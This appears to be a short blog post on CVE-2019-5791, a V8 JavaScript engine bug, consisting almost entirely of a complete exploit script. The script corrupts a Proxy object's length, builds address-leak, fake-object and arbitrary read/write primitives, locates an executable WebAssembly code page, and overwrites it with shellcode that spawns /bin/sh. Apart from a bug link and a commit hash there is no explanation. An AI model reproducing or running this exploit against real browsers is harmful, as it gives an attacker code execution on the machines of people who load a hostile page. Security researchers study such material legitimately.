CVE-2019-5791

Posted on Aug 14, 2020

https://crbug.com/926651

git checkout b267f94ffca9fb90d04ffa03c910d8508c20dd26

exp.js

callFn = function (code) {
  try { code(); } catch (e) { console.log(e); }
}

let proxy = new Proxy({}, {});

function run(prop, ...args) {
  let handler = {};
  const proxy = new Proxy(function () {}, handler);
  handler[prop] = (({v1 = ((v2 = (function () {
    var v3 = 0;
    var callFn = 0;
    if (asdf) { return; } else { return; }
    (function () { v3(); });
    (function () {
      callFn = "\u0041".repeat(1024*32);
      v3 = [1.1];
    })
  })) => (1))() }, ...args) => (1));
  Reflect[prop](proxy, ...args);
}

callFn((() => (run("construct", []))));
callFn((() => (run("prop1"))));

function exploit() {
  var f64 = new Float64Array(1);
  var u32 = new Uint32Array(f64.buffer);
  function d2u(v) { 
      f64[0] = v;
      return u32;
  }
  function u2d(lo, hi) {
      u32[0] = lo;
      u32[1] = hi;
      return f64[0];
  }
  function hex(lo, hi) {
      return ("0x" + hi.toString(16) + lo.toString(16));
  }

  var tmp = [1.1, 2.2, 3.3]; // just for feng shui i don't know zzlol 
  var tmp2 = [{}, {}];

  run[16] = 0x41424344; // proxy.length
  console.log('proxy.length : 0x' + proxy.length.toString(16));
  if (proxy.length != 0x41424344) quit();
  
  var arr = [1.1, 2.2]; // float array
  var arr2 = [{}, {}];  // object array

  float_arr_offset = 319;
  object_arr_offset = float_arr_offset + 14;

  var arr_map1 = proxy[float_arr_offset];
  var arr_map2 = proxy[object_arr_offset];
  console.log('float arr map : ' + hex(d2u(arr_map1)[0],d2u(arr_map1)[1]));
  console.log('object arr map : ' + hex(d2u(arr_map2)[0],d2u(arr_map2)[1]));

  function addrof(obj)
  {
    arr2[0] = obj;
    proxy[object_arr_offset] = arr_map1;
    let addr = arr2[0];
    proxy[object_arr_offset] = arr_map2;

    return addr;
  }

  function fakeobj(addr)
  {
    arr[0] = addr;
    proxy[float_arr_offset] = arr_map2;
    var obj = arr[0];
    proxy[float_arr_offset] = arr_map1;

    return obj;
 }

  var fake_array = [
    arr_map1, 0, 0, u2d(0, 0x10)
  ];

  function aar(addr)
  {
    fake_array[2] = addr - u2d(0x10, 0);
    var target = addrof(fake_array) + u2d(0xa0, 0);
    var fake_array_obj = fakeobj(target);

    return fake_array_obj[0];
  }

  function aaw(addr, val)
  {
    fake_array[2] = addr - u2d(0x10, 0);
    var target = addrof(fake_array) + u2d(0xa0, 0);
    var fake_array_obj = fakeobj(target);

    fake_array_obj[0] = val;
  }

  var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,
    1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
    131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,
    109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
  var wasm_mod = new WebAssembly.Module(wasm_code);
  var wasm_instance = new WebAssembly.Instance(wasm_mod);
  var jit = wasm_instance.exports.main;

  var jit_addr = addrof(wasm_instance);
  
  console.log('jit : ' + hex(d2u(jit_addr)[0],d2u(jit_addr)[1]));
  var rwx = aar(jit_addr+u2d(0xf0, 0));
  console.log('rwx : ' + hex(d2u(rwx)[0],d2u(rwx)[1]));

  var sc = [0xbb48f631, 0x6e69622f, 0x68732f2f, 0x5f545356, 0x31583b6a, 0x050fd2];
  var sc_buf = new ArrayBuffer(0x100);
  var dataview = new DataView(sc_buf);

  aaw(addrof(sc_buf)+u2d(0x20, 0), rwx);

  for (var i=0; i<sc.length; i++) {
    dataview.setUint32(4*i, sc[i], true);
  }
  jit();
}

exploit();